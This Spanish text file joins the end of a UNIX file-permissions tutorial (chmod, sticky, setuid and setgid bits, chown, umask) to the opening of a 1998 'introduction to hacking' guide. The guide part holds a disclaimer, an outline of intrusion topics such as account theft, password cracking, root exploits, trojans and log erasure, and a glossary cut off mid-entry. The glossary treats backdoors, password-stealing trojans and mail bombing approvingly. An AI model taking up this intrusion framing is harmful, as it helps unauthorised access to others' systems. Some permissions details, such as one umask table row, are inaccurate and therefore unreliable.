mundo tiene derecho a todos los permisos posibles sobre el archivo. Pongamos un ultimo ejemplo: -r-x--xrw- 1 core users 5 Feb 4 21:49 prueba* En este fichero como podreis observar hay un ligero cambio de permisos. El fichero 'prueba' ya que comienza mediante un '-' tiene permisos de lectura y ejecucion para su due¤o 'core', de ejecucion para los de su grupo 'users', y de lectura y escritura para el resto de usuarios. Como habreis podido ver, al no haber permisos de escritura para su due¤o, ni permisos de lectura y escritura para su grupo, ni permisos de ejecucion para el resto de los usuarios, estos son resprentados mediante un '-'. Ahora que ya hemos explicado las caracteristicas globales de todo directorio y archivo unix podemos dar paso a la explanacion de las 2 formas citadas anteriormente para establecer nuestros permisos en el sistema UNIX. Forma abosluta: La principal caracteristica que tiene esta nomenclatura es la de asignar los permisos mediante valores octales. Como todos sabreis, la base octal, o base 8, puede contener de los numeros 0 al 7. Es por ello, que tan solo son validos estos numeros a la hora de asignar permisos. Fijate en el siguiente cuadro: Fig 1. Permiso Valor_Octal ------------------------------ r | lectura 4 w | escritura 2 x | ejecucion 1 Claramente observamos que numero octal corresponde a cada caracteristica de un archivo o directorio en un sistema UNIX. Pasemos pues a poner en uso todo lo aprendido hasta ahora. Como dijimos antes el comando utilizado por los S.O UNIX para establecer permisos recibe el nombre de chmod. A la hora de dar permisos en forma absoluta hemos de seguir la siguiente Sintaxis: 'chmod XYZ archivo'. X representa al due¤o del archivo, Y al grupo y Z al resto de usuarios, mientras que 'archivo' es el nombre del archivo a especificar los permisos. Siempre que queramos atribuir mas de un permiso los numeros octales se sumaran. Observar los siguientes ejemplos para un mayor entendimiento: chmod 460 archivo chmod 755 archivo chmod 050 archivo chmod 000 archivo chmod 777 archivo -EL primer ejemplo daria permisos de lectura al propietario (4), lectura y escritura al grupo (4+2), y ningun permiso al resto de usuarios (0). -El segundo ejemplo daria permisos de escritura, lectura y ejecucion al propietario (4+2+1), permisos de lectura y ejecucion tanto al grupo como al resto de usuarios (4+1) -El tercer ejemplo no daria ningun permiso al propietario (0), permisos de ejecucion y lectura al grupo (4+1), y ningun permiso al resto de usuarios (0) -El cuarto ejemplo no tendria ningun permiso para nadie (0) -Y finalmente el ultimo ejemplo tendria todos los permisos para todos los usuarios (4+2+1) Espero que haya quedado totalmente claro el sistema absoluto mediante los anteriores ejemplos. Una vez dicho esto pasemos a explicar la segunda y ultima posiblidad. Forma relativa: A diferencia de la forma abosulta, la relativa no utiliza numeros octales o en base 8 para establecer los diferentes permisos, sino que se basa en una nomenclatura de letras. Al igual que en la forma absoluta, en la relativa tambien nos valemos del comando 'chmod' para asignar los permisos. Observa los siguientes cuadros: Fig 1. Letra Explicacion --------------------------------------------------------------------------- a Engloba todos los usuarios, grupos y demas usuarios. g Engloba el grupo del propietario. o Engloba todos los demas usuarios no mecionados antes. u Engloba al usuario que creo dicho archivo Fig 2. Operador Explicacion --------------------------------------------------------------------------- + Agrega la modalidad - Elimina la modalidad = Elimina los permisos existentes y agrega los establecidos que indiquemos. Fig 3. Permiso Explicacion --------------------------------------------------------------------------- x Establecemos la ejecucion r Establecemos la lectura w Establecemos la escritura Siempre que queramos atribuir permisos a un archivo/directorio en forma relativa seguiremos por orden los 3 cuadros expuestos anteriormente. Por lo tanto primero se indicara a la persona o personas que queremos atribuir dichos permisos, seguiremos estableciendo la agregacion o eliminacion de ciertos permisos y finalmente indicaremos estos mismos permisos. Fijate en el siguiente ejemplo: chmod a+r archivo Si te has fijado en las Figuras anteriores, no te deberia costar demasiado entender los permisos que atribuye la orden anterior. Primeramente como hemos dicho, indicamos al usuario/usuarios, en este caso esta la letra 'a' que significa que estableceremos permisos al due¤o, grupo y demas usuarios. El siguiente simbolo que le sigue, indicara si queremos agregar o eliminar permisos del archivo en cuestion, en este caso el simbolo '+' indica que queremos agregar permisos al fichero. Finalmente indicaremos los permisos a agregar. En este caso indicamos 'r' (lectura) para todos los usuarios 'a'. Espero que haya quedado claro lo anterior, mediante este ejemplo. Sin embargo quiza el simbolo '=' no lo acabemos de entender. Bien simplemente a diferencia de los caracters '+' y '-', el simbolo '=' lo que hace es agregar permisos al usuario/usuarios en cuestion, pero eliminando antes los que tenia establecidos. Ejemplo: chmod g=rw archivo Y simplemente lo que haria seria quitar los permisos establecidos en el grupo (si hay alguno), y daria permisos de lectura 'r' y escritura 'w' al grupo del creador de dicho archivo. Si por el contrario queremos establecer varios permisos a las diferentes categorias que comprenden los sistemas UNIX podemos utilizar las comas. Ejemplo: chmod o-wr, g-wr archivo Que simplemente esta sentencia eliminaria ambos permisos, de escritura y lectura tanto para el grupo, como para el resto de usuarios o general. Durante gran parte de este texto, nos hemos referido tanto a directorios como a archivos de forma indistintiva. Pero como bien sabemos, un directorio con caracteristicas de ejecucion, no quiere decir que se pueda ejecutar, entre otras cosas, porque los directorios no se crearon con ese fin. A continuacion se muestra un cuadro con las multiples cualidades que puede tener un directorio, y que podemos hacer con funcion de estas. Fig 1. Permisos Caracteristicas -------------------------------------------------------------------- r La persona o personas que tenga establecidos este permiso podran observar lo que contiene dicho directorio. w La persona o personas que tenga establecidos este permiso podran escribir (crear o eliminar) en el directorio. x La persona o personas que tenga establecidos este permiso podran acceder al directorio y ejecutar los archivos que lo contienen, siempre y cuando estos tengan permisos de ejecucion a su vez. Como habreis podido deducir, las opciones anteriores se pueden convinar si deseamos dar multiples cualidades a un directorio. A continuacion podras ver unas aclaraciones tanto de archivos como de directorios que no habiamos comentado literalmente hasta ahora. *Las unicas personas que pueden cambiar el permiso de los archivos o directorios ubicado en una maquina UNIX son: el propietario del archivo o directorio, el root o superusuario del sistema, y el due¤o del directorio en el cual contiene dicho fichero o directorio. *Siempre que un usuario tenga propiedad de lectura (como minimo) sobre cualquier archivo, y este no sea el propietario, si copia dicho fichero, la duplicacion de este archivo pasara a ser propiedad de el. *Cuando hablamos sobre permisos de escritura de archivos, nos referimos a la posiblidad que tenemos de insertar o eliminar texto dentro de ese fichero, mientras que cuando nos referimos a estos ultimos permisos para directorios, tenemos la posiblidad de crear nuevos archivos o directorios ubicados dentro del directorio en el cual tenemos estos permisos. *A la hora de eliminar un archivo o un directorio, no importa los permisos que tengan, ni quien sea su propietario, mientras tengamos permisos de escritura sobre el directorio que se encuentra dicho fichero o directorio podremos borrarlo. Finalicemos este apartado dando un repaso sobre los diversos parametros que podemos conjuntar con el comando chmod a la hora de establecer permisos. Sintaxis general: chmod [opciones] establecimiento_del_permiso archivo_o_directorio Opciones Descripcion -------- ----------- -c *Nos describe con detalle solo los archivos cuyos permisos cambian. Si volvemos a establecer los mismos que tenia, el sistema no mostrara nada. -f *Si usamos esta opcion, y establecemos un permiso a un archivo en el que no somos propietarios, el sistema no sacara ningun tipo de error, simplemente el archivo se quedara tal como estaba antes. -v *Describe con detalle los permisos cambiados, aunque volvamos a establecer los mismos, el sistema nos lo indicara. -R *Esta opcion cambia de forma recursiva los permisos de los directorios y todo lo que haya dentro. --help *Muestra como usar chmod con sus respectivos parametros --version *Imprime informacion de la version chmod utilizado por nuestro S.O Si te interesa concretar mas a cerca de este comando con todas sus opciones posibles, puedes consultar la ayuda de UNIX (man chmod) 5. Los 3 bits adicionales de los permisos de un archivo -------------------------------------------------------- En la seccion 3, si recordais, dejemos un tema en el aire, en el cual se hablaba de 3 bits adicionales que proporcionaban informacion para las operaciones del archivo mientras fuese ejecutable. Este tema es el que abarcaremos en esta seccion. Hasta ahora hemos aprendido a dar 3 cualidades diferentes a un archivo o directorio. Y a estas alturas nos resulta ya familiar las letras 'r', 'w', y 'x'. Pero los sistema basados en UNIX nos permiten dar un ligero cambio a la estructura ya explicada anteriormente mediante estos 3 bits adicionales. Son los llamados: setgid, setuid, y el bit sticky. Gracias a estas opciones podemos de alguna manera 'romper' las normas que hemos establecido hasta ahora. Si recordais, hemos explicado que si un archivo fuese del tipo -rwxrwxrwx, es decir que tuviese todos los permisos posibles para todos los usuarios posibles, cualquier usuario podria borrarlo por ejemplo. En este caso, si a este mismo archivo le agregaramos el permiso del bit sticky, este archivo solo podria ser borrado por el propietario del archivo, el propietario del directorio y el root. veamos la representacion: Fig 1. -rwxrwxrwx 1 core users 5 Feb 5 16:50 prueba* Fig 2. -rwxrwxrwt 1 core users 5 Feb 5 17:56 prueba* Como podreis observar hay un ligero cambio en los permisos del archivo, ademas del caracter 't' que aun no conociamos (sticky o adosado) En este caso como hemos dicho la Fig 2. representa un archivo que solo puede ser borrado por el root, dueño del directorio donde se ubica, y por el creador de dicho archivo. Sin embargo en este segundo caso, cualquier persona puede escribir, leer, y ejecutar el fichero prueba, pero nunca borrar. Ademas de todo esto, el bit sticky tambien se usa para que no se retire dicho archivo del espacio swap hasta que el programa haya finalizado. Tambien se ha de resaltar, que siempre que se vea el simbolo 't' significara que el bit sticky esta a uno (por lo tanto activado) y el bit de ejecucion tambien a uno (por lo tanto el archivo podra ser ejecutado). Pero tambien cabe la posiblidad de encontrarnos delante del simbolo 'T' que nos indicara que el bit sticky esta a uno, pero el bit de ejecucion esta a 0. El establecimiento de este permiso es sumamente sencillo. Hasta ahora solo conociamos la sintaxis chmod XYZ, a partir de ahora agregamos una nueva variable, en este caso quedaria asi, chmod KXYZ, siendo K el valor que daremos para establecer tanto el bit sticky, como el setuid o setgid que explicaremos mas adelante. Para establecer el bit adosado en un archivo, deberemos darle el valor de 1 a la variable K. Ejemplo: chmod 1000 prueba ---------T 1 core users 7 Feb 5 18:00 prueba Como podemos observar el bit sticky esta a 1, pero el bit de ejecucion esta a 0, por lo tanto se representara mediante 'T'. Para la forma relativa el establecimiento seria colocando la letra 't'. Ejemplo: chmod a=t prueba Obteniendo los mismos resultados. Si tubieramos el formato -rw-rw---x al poner el bit sticky a 1 obtendriamos: -rw-rw---t 1 core users 7 Feb 5 18:00 prueba* NOTA: Si habeis sido un poco observadores, os habreis dado cuenta de que si activamos el bit adosado, este no nos deja ver si el resto de usuarios tiene permisos de ejecucion. Siempre que el simbolo lo represente mediante 't' sabremos que el resto de usuarios tiene permisos de ejecucion. Y si lo representa mediante 'T', el resto de usuarios no los tendra. Una vez explicado todo esto, podemos pasar a explicar el funcionamiento del bit setuid y setgid. El bit setuid estara activado y representado en los permisos del due¤o del archivo. De tal forma que si el setgid esta activado, estara representado en los permisos del grupo. Si el bit esta activado en el primer terceto de permisos (setuid) y es ejecutado por un usuario, el fichero en concreto, a partir de ese momento actuara de la misma forma, que actuaria si fuese ejecutado por el propio due¤o del fichero. De esta misma forma si el bit esta activado en el campo del grupo (setgid), y lo ejecuta un usuario del tercer tercerto de permisos, este inmediatamente actuara como si fuese del grupo de ese fichero. Igual que antes, siempre que veamos el simbolo 's', en este caso, significara dependiendo de donde se encuentre, que el bit setuid, o setgid esta a 1, y el bit de ejecucion tambien a 1. Si se representa mediante 'S' el bit de ejecucion estara a 0. Puesto que estos permisos consisten en ejecutar archivos con permisos diferentes, debera de darse permisos de ejecucion tanto al dueño, como al grupo y resto de usuarios, ya que si el bit setuid o setgid esta activado, quedra decir que queremos que lo ejecuten otros usuarios, por lo tanto no tendria sentido quitar el permiso de ejecucion de los campos. Estos bits siguen la misma nomenclatura que el ya tratado bit sticky. Si deseamos aplicarlo de la forma absoluta, bastara con darle al valor K el numero 4, con ello activaremos el bit setuid a 1. En cambio si le damos a K el valor 2, activaremos el setgid. De igual forma que anteriormente, tanto el bit sticky, como setuid o setgid, sus valores se pueden sumar. Si desearamos dar permisos a un archivo con el bit sticky, setgid y setuid activados, ademas de dar permisos de ejecucion a todo el mundo, bastaria con hacer un ' chmod 7111 archivo '. Si optaramos por la forma relativa, tenemos a nuestra disposicion la letra 's'para dar dichos permisos. Ejemplo: chmod g=s archivo Con esta instruccion quitariamos todos los permisos antiguos del grupo (si los hubiera) y activaria el bit setgid, ya que estamos 'tocando' el campo del grupo, y en ese campo no puede estar el bit setuid. A continuacion mostramos 4 ejemplos de lo hablado hasta ahora, para poder observar la diferencia de lo aprendido hasta el momento. El primero representa un archivo ejecutable con el bit setuid a 1, y ejecutable. El 2 ejemplo representa lo anterior pero sin permisos de ejecucion ni de ningun tipo. El 3 representa un archivo con permisos de ejecucion y bit setgid activado. Y por ultimo un archivo sin permisos con setgid activado y permisos de ejecucion desactivados. Fig 1. ---s--x--x 1 core users 5 Feb 5 19:26 prueba* Fig 2. ---S------ 1 core users 5 Feb 5 19:26 prueba Fig 3. ---x--s--x 1 core users 5 Feb 5 19:26 prueba* Fig 4. ------S--- 1 core users 5 Feb 5 19:26 prueba Uno de los archivos mas claros en los sistemas UNIX, que necesita tener especificado el permiso setuid, es el nombrado /usr/bin/passwd que permite a cualquier usuario cambiar su pasword o palabra clave, ya que para sobreescribir su nueva clave en el fichero /etc/passwd se ha de tener permisos de escritura. Si deseais obtener mas informacion sobre que archivos o directorios tienen establecidos tanto el bit adosado, bit setuid o setgid nos podemos ayudar con las ordenes 'find -perm 1000 -print' 'find -perm 4000 -print' y 'find -perm 2000 -print' respectivamente. Tambien uno de los ejemplos mas claros a aplicar para el bit sticky, es el del directorio /tmp ya que todo el mundo tiene cualquier permiso sobre ese directorio, sino estuviera dicho bit activado, cualquier usuario podria borrar archivos que no pertenecieran a el. 6. chown, chgrp y umask ------------------------ No podiamos despedirnos de este documento sin almenos hacer mencion de 3 comandos que tambien tienen mucho que ver con los permisos de todo directorio o archivo UNIX. A continuacion pasamos a explicarlos: Chown: Gracias a esta orden nos es permisible cambiar la propiedad del archivo, es decir 'entregar' un archivo de nuestra propiedad a otra persona, con lo cual esta ultima persona sera el nuevo propietario de dicho fichero. Es importante saber que la propiedad de cualquier fichero solo puede cambiarla el root o superusuario del sistema. Podemos utilizar esta orden de la siguiente forma: chown nuevo_usuario fichero Ejemplo: ls -l -rw-rw---t 1 core users 7 Feb 5 18:00 prueba* chown temp prueba ls -l -rw-rw---t 1 temp users 7 Feb 5 18:20 prueba* Como se puede apreciar claramente, el superusuario del sistema a cambiado la propiedad del archivo 'prueba' que antes pertenecia al usuario 'core' y lo ha establecido de forma que el nuevo due¤o del fichero es el usuario temp. De igual forma que en la orden chmod, chown tambien posee diversos parametros que se pueden aplicar cojuntamente con esta orden, a continuacion los describimos: Sintaxis general: chown [opciones] establecimiento_del_nuevo_usuario archivo_o_directorio Opciones Descripcion -------- ----------- -c *Nos describe con detalle solo los archivos cuya propiedad cambian. Si volvemos a establecer la propiedad que ya tenia, el sistema no mostrara nada. -f *Esta opcion no imprime mensaje de error alguno sobre archivos cuya propiedad no pueden cambiarse. -v *Describe con detalle los permisos de propiedad, aunque volvamos a establecer los mismos, el sistema nos lo indicara. -R *Esta opcion cambia de forma recursiva la propiedad de los directorios y todo lo que haya dentro. --help *Muestra como usar chown con sus respectivos parametros --version *Imprime informacion de la version chown utilizado por nuestro S.O Si te interesa concretar mas a cerca de este comando con todas sus opciones posibles, puedes consultar la ayuda de UNIX (man chmod) chgrp: Gracias a esta orden que nos brinda el sistema UNIX, podemos cambiar la propiedad de grupo a un archivo en concreto, tan solo necesitaremos 2 requisitos para llevar a cabo la labor mencionada anteriomente, ser el propietario del fichero, y pertenecer al grupo al que se va a cambiar el archivo. *NOTA* El usuario root no necesita cumplir los requisitos mencionados anteriormente. Podemos utilizar esta orden de la siguiente forma: chgrp nuevo_grupo fichero Ejemplo: ls -l -rw-rw---t 1 core users 7 Feb 5 18:00 prueba* chgrp users2 prueba ls -l -rw-rw---t 1 core users2 7 Feb 5 18:20 prueba* En este caso el usuario core, propietario del archivo prueba, y ademas miembro del grupo users2, a establecido un nuevo grupo sobre su archivo, users2, eliminando el que habia antes definido, users. De igual forma que en las ordenes chmod y chown, chgrp tambien posee diversos parametros que se pueden aplicar cojuntamente con esta orden, a continuacion los describimos: Sintaxis general: chgrp [opciones] establecimiento_del_nuevo_grupo archivo_o_directorio Opciones Descripcion -------- ----------- -c *Nos describe con detalle solo los archivos cuya propiedad cambian. Si volvemos a establecer la propiedad que ya tenia, el sistema no mostrara nada. -f *Esta opcion no imprime mensaje de error alguno sobre archivos cuya propiedad no pueden cambiarse. -v *Describe con detalle los cambios de propiedad. Aunque volvamos a establecer los mismos, el sistema nos lo indicara. -R *Esta opcion cambia de forma recursiva la propiedad de los directorios y todo lo que haya dentro. --help *Muestra como usar chgrp con sus respectivos parametros --version *Imprime informacion de la version chgrp utilizado por nuestro S.O Si te interesa concretar mas a cerca de este comando con todas sus opciones posibles, puedes consultar la ayuda de UNIX (man chmod) umask: Para finalizar este apartado, y el final de este documento, daremos paso a la explicacion del comando umask o mascara. Gracias a este comando podemos especificar cuales seran los permisos predeterminados que obtendran los archivos o directorios, al crearse. Seguramente a lo largo de este largo documento, a medida que habeis ido leyendo y aprendiendo diversas cosas, os habeis parado por un momento a pensar sobre que permisos tendria un archivo justamente despues de haber sido creado. Para responder a esta pregunta nos podemos ayudar del comando citado anteriormente, umask. Si lo ejecutamos como hemos dicho anteriormente, sin ningun tipo de parametro, el sistema nos contestara con un numero formado por 3 digitos, el primer digito se referira al due¤o del archivo, el segundo al grupo que corresponde el creador del archivo, y el tercer digito el resto de usuarios. Observa el siguiente cuadro que muestra los valores mas comunes de umask y sus valores asociados: Fig 1. Umask Ficheros Directorios --------------------------------------------------------------- 000 -rw-rw-rw- drwxrwxrwx 002 -rw-rw-r-- drwxrwxr-x 006 -rw-rw---- drwxrwx--x 007 -rw-rw---- drwxrwx--- 022 -rw-r--r-- drwxr-xr-x 026 -rw-r----- drwxr-x--x 027 -rw-r----- drwxr-x--- 066 -rw------- drwx--x--x 067 -rw------- drwx--x--- 077 -rw------- drwx------ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 0 proporciona permisos de proporciona todos los lectura y escritura permisos 1 proporciona permisos de proporciona permisos de lectura y escritura lectura y escritura 2 propociona permisos de proporciona permisos de lectura lectura y ejecucion 4 proporciona permisos de proporciona permisos de escritura escritura y ejecucion *NOTA* Como puedes observar ,umask, al igual que chmod, te permite sumar los valores (1, 2 y 4) para poder atribuir mas de un permiso a un archivo o directorio. Ejemplo: umask 022 Despues de ejecutar el comando umask en el sistema, este nos responde con el numero 022, con esto nos quiere decir que todo archivo que creemos se inicializara con los permisos -rw-r--r-- y drwxr-xr-x para los directorios. Ejemplo2: umask 077 Al ejecutar esta sentencia haremos entender al sistema, que a partir de ese momento todo archivo que creemos obtendra los permisos -rw------- y drwx------ para directorios. Como habreis observado los dos ultimos 7 son sumados (4+2+1) para especificar mas de un permiso. *NOTA* Aunque cambiemos el valor del umask, este no sera permanente, ya que dicha sentencia esta definida en uno de los archivos de arranque de todo sistema UNIX, y al reiniciar la maquina, volveria a tener el valor de siempre. Si quisieramos un valor permanente distinto al que esta establecido por defecto, tendriamos que modificar los archivos de arranque del S.O 7. Despedida ------------ Espero que todo aquel que haya leido este texto, pueda ahora desemvolverse sin ningun tipo de problema por los sistemas UNIX en lo referente a permisos. Quiero agradecer a todo aquel que se a mostrado interesado en leer este documento, tanto si ya poseia estos conocimientos como si no. Hemos dado basicamente (sin entrar en profundidad sobre ciertos temas), todo lo referente a permisos de este S.O. Finalmente quiero volver a recalcar, que todo aquel que no haya entendido algo en concreto, crea que he podido cometer algun error, o simplemente piense que he podido o deberia haber agregado alguna cosa mas a todo lo dicho anteriormente, puede ponerse en contacto conmigo, y informarme sobre ello. by Koji soykoji@hotmail.com <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ Û INTRODUCCION AL HACKING v2.0 Û ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ POR DAEMON 25-01-1998 Daemond@usa.net Dillet@usa.net Antes que nada, he de decir que el contenido de este texto esta solamente destinado a usos educacionales, de investigacion y/o de desarrollo. En ningun momento el creador de este texto se hace responsable de los da¤os causados debido a un mal uso de el mismo. Bien, en este texto se recopilan los aspectos basicos del hacking para toda la gente que esta empezando. El objetivo es una estructuracion de la informacion para asi no tener que leer mil textos que te repiten los mismos conceptos una y otra vez. Espero que este texto sea de utilidad a todo el que este empezando en estos temas asi como puede dar algunas ideas a los que tengan un nivel medio. Tambien es verdad que en este texto se cuentan algunos metodos de hacking aunque muchas veces se dejan cosas en el tintero que seran explicadas en otros textos.. }-) Tambien, aunque no se diga constantemente a lo largo del texto, la mayoria de las ideas aqui indicadas son para sistemas UNIX y derivados por lo que si os enfrentais a otras cosas como el Moco$oft NT dudo que os sirva alguna de las ideas aqui expuestas. Igualmente, para conseguir un acceso si nos encontramos ante un firewall la mayoria de las tecnicas aqui explicadas tampoco funcionaran por lo que habra que exprimirse un poco mas el tarro :( Por cierto, no pongo acentos para evitar las tipicas putadillas :) Como siempre digo, sugerencias, dudas y preguntas.. e incluso criticas a mi mail. Dillet@usa.net Daemond@usa.net Me gustaria que me maileaseis ( leo todos los mails que recibo) para decirme si algun apartado del texto no queda lo suficientemente claro ya que me gustaria que este texto sirviese para todo el mundo e ir actualizando para posteriores revisiones. Para tecnicas de hacking mas avanzadas que las que aqui se exponen, ya escribire textos aparte de este, ya que esto es una introduccion y no cuenta tecnicas avanzadas. Tambien me podeis mailear para pedirme posteriores ediciones de este texto o de otros textos de parecidas caracteristicas :) Igualmente, supongo que en un texto tan grande habra fallos por lo que cualquier ayuda para corregirlos es bienvenida ;o) Asi, la ESTRUCTURA DEL TEXTO sera: 0.- Glosario 1.- Buscando maquina objetivo y algunas cosas sobre unix orientado al hacking 2.- Introduccion a distintos sistemas 3.- Como conseguir una cuenta 4.- Como obtener cuentas 4.1.- Cuentas por defecto 4.2.- Ingenieria social 4.3.- Conseguir fichero passwd con algun bug 4.4.- Conseguir directamente una cuenta con un bug 4.5.- PHF 4.6.- Xploits que te dan directamente una shell 4.7.- Otros metodos (FTP, Spoofing, etc) 5.- Salir de shell restringida 6.- Crackear password de maquinas UNIX 6.1.- Introduccion y algoritmo de cifrado. 6.2.- Conseguir el fichero de passwd estando dentro de la maquina 6.2.1.- Introduccion 6.2.2.- Password shadowing 6.2.3.- NIS 6.3.- Distintos metodos para bajaros el fichero de passwd una vez lo tienes bajo control 6.4.- Como se crackean 6.5.- Que crackeador de password usar. 7.- Obtener acceso de root 7.1.- Fuerza bruta 7.2.- Exploits 7.3.- Troyanos 8.- Hackear con condon. 9.- Borrar huellas. 10.- Preservar el acceso y poner sniffers 11.- Legalidad 12.- Despedida 0. GLOSARIO En este glosario, lo primero que se ha de definir es la palabra HACKER ya que esto es lo que nos va a llevar todo este texto. Un hacker es una persona con un conocimiento importante de sistemas operativos, redes, protocolos, lenguajes de programacion, etc. con lo que se podria resumir tener un dominio de la seguridad en redes. Asi, opino que un hacker no es un chaval que le pasan algunos logins y passwords y que se dedica a entrar a la maquina y ejecutar exploits que ni sabe ni lo que hacen ni le importa, sino que simplemente sabe que le dan categoria de rOOt. Para mi esto se puede hacer durante una temporada para aprender pero siempre como una etapa para llegar mas adelante a fines mas interesantes :) Resumiendo, un HACKER deberia ser una persona con amplios conocimientos y que sabe en todo momento perfectamente lo que hace y que entra en sistemas por diversion y no para destrozar sistemas o cosas parecidas. Aunque para otros como el famoso Marcus J. Ranum compara los hackers con "vandals", pero en fin, hay opiniones para todos los gustos :o( En fin despues de este rollo filosofico que opino que es necesario en un texto de introduccion a estos temas, paso a comentaros un breve glosario para introducirse en la jerga de este mundillo. Este glosario esta por orden alfabetico: ADMINISTRADOR, sysop, root :Esla persona que se encarga del sistema. Se suele denominar rOOt y es la persona que tiene el poder absoluto sobre la maquina. Tiene un UID=0. AGUJERO, bug, hole : Es und efecto en el software o hardware que como su nombre indica deja agujeros para los hackers y que gracias a dios existen muchos ya que si no esto seria de locos jeje AIX: Sistema operativo de IBM BUGS y EXPLOITS: Los bugs son fallos en el software o en el hardware y que usan los hackers para entrar en sistemas y un exploit es un programa que aprovecha el agujero dejado por el bug. Ver AGUJERO. BOMBA LOGICA: Codigo que ejecuta una particular manera de ataque cuando una determinada condicion se produce. Por ejemplo una bomba logica puede formatear el disco duro un dia determinado, pero a diferencia de un virus.. la bomba logica no se replica. BACKDOOR :Puerta trasera. Mecanismo que tiene o que se debe crear en un software para acceder de manera indebida (jeje) BBS (Bulletin Board System): Es una maquina a la que se accede a traves de la linea telefonica y donde se dejan mensajes y software. La putada es que si la bbs no esta en tu ciudad.. timofonica se hace millonaria a tu costa. :o( BOXING: Uso de aparatos electronicos o electricos (Boxes) para hacer phreaking. Esto no es hacking sino phreaking... hay blue box, red box, etc. BOUNCER: Tecnica que consiste en usar una maquina de puente y que consigue que telneteando al puerto xxxx de la maquina "bouncerada" te redireccione la salida a un puerto determinado de otra maquina. Esta tecnica es muy usada en el irc redireccionando a los puertos destinados a los servidores de irc por anonimicidad y otros temas que no vienen al caso. CABALLOS DE TROYA :Programa que se queda residente en un sistema y que ha sido desarrollado para obtener algun tipo de informacion. Por ejemplo seria un caballo de troya un programa que al ejecutarlo envie el fichero de /etc/passwd a una determinada IP (Casualmente la nuestra ;o) CORTAFUEGOS: Ver firewall COPS: Programa de seguridad. CERT (Computer Emergency Response Team): Bien, como su nombre indica es una gente que se dedica de trabajar en seguridad pero que en su esfuerzo por informar de bugs nuevos, casi nos ayudan mas a nosotros que a ellos :o> CLOACKER: Programa que borra los logs (huellas) en un sistema. Tambien llamados zappers. CRACKER : Esta palabra tiene dos acepciones, por un lado se denomina CRACKER a un HACKER que entra a un sistema con fines malvados aunque normalmente la palabra CRACKER se usa para denominara a la gente que desprotege programas, los modifica para obtener determinados privilegios, etc. CRACKEADOR DE PASSWORDS:Programa utilizado para sacar los password encriptados de los archivos de passwords. Esto se desarrollara mas adelante en este texto DAEMON: Proceso en background en los sistemas Unix, es decir un proceso que esta ejecutandose en segundo plano. EXPLOIT Metodo concreto de usar un bug para entrar en un sistema. FIREWALL, cortafuego: Sistema avanzado de seguridad que impide a personas no acreditadas el acceso al sistema mediante el filtrado de los paquetes dependiendo de la IP de origen, en otras palabras, una putada :o(. En la actualidad esta considerado como uno de los medios de seguridad mas fiables y hay poca documentacion al respecto de como hackearlos. FUERZA BRUTA (hackear por...) Es el procedimiento que usan tanto los crackeadores de password de UNIX como los de NT (o por lo menos los que yo conozco) que se basan en aprovechar diccionarios para comparar con los passwords del sistema para obtenerlos. Esto se desarrolla mas adelante en este texto. FAKE MAIL: Enviar correo falseando el remitente. Es muy util en ingenieria social. GRAN HERMANO: Cuando la gente se refiere al Gran Hermano, se refiere a todo organismo legal de lucha contra el mundo underground. GUSANO: Termino famoso a partir de Robert Morris, Jr.Gusanos son programas que se reproducen ellos mismos copiandose una y otra vez de sistema a sistema y que usa recursos de los sistemas atacados. HACKING :Amplia definicion al principio del glosario. HACKER :Amplia definicion al principio del glosario. HOLE: Ver bug. HP/UX: Sistema operativo de HP. INGENIERIA SOCIAL :Obtencion de informacion por medios ajenos a la informatica. Sobre esto nos extenderemos mas adelante en este texto. IRIX: Sistema operativo. ISP (Internet Services Provider): Proveedor de servicios internet. KEY: Llave. Se puede traducir por clave de acceso a un software o sistema. KERBEROS: Sistema de seguridad en el que los login y los passwords van encriptados. KEVIN MITNICK: Es el hacker por excelencia!!!. Sus haza¤as se pueden encontrar en mil sitios en la red. LAMER: Un lamer es una persona que no tiene ninguna inquietud por todos estos temas de la seguridad sino que lo unico que quiere es tener un login y un pass para entrar a un sistema y formatear el disco duro, o para decirle a un amigo que es un superhacker.. o el tipico que te llega en el IRC y te dice.. he suspendido un examen y quiero entrar al ordenador de mi escuela para cambiar las notas. Esto os prometo que me ha pasado mas de una vez :o( Importante es distinguir lamer de newbie o novato. Un novato o newbie es una persona que SI que tiene interes en estos temas pero que logicamente necesita un tiempo de aprendizaje ya que nadie ha nacido aprendico. LINUX: Sistema operativo de la familia UNIX y que es muy adecuado para tenerlo en la maquina de casa ya que no requiere demasiados recursos. Este sistema operativo lo debes tener en tu casa si quieres hacer algo en el mundo del hacking aunque ya se comentara mas adelante. LOGIN : Para entrar en un sistema por telnet se necesita siempre un login (nombre) y un password (clave). MAQUINA: En este texto, habitualmente se utilizara el termino maquina para referirse al ordenador. Mejor no entrar en filosofias :-> MAIL BOMBER: Es una tecnica de puteo que consiste en el envio masivo de mails a una direccion (para lo que hay programas destinados al efecto) con la consiguiente problematica asociada para la victima. Solo aconsejo su uso en situaciones criticas. NUKEAR: Consiste en joder a gente debido a bugs del sistema operativo o de los protocolos. Esto se da habitualmente en el IRC y considero que es una perdida de tiempo... pero hay mucha gente que su cabecita no da para mas y se entretiene con estas pijadas. ¨Sera porque no son capaces de enfrentarse a cosas mas serias?? :-> PASSWORD :Contrase¤a asociada a un login. Tambien se llama asi al famoso fichero de UNIX /etc/passwd que contiene los passwords del sistema que se comentaran mas adelante en este texto. PHREAKING: Consiste en evitar total o parcialmente el pago a las grandes multinacionales. Este concepto se usa basicamente para referirse al pago del telefono ya que tal y como esta 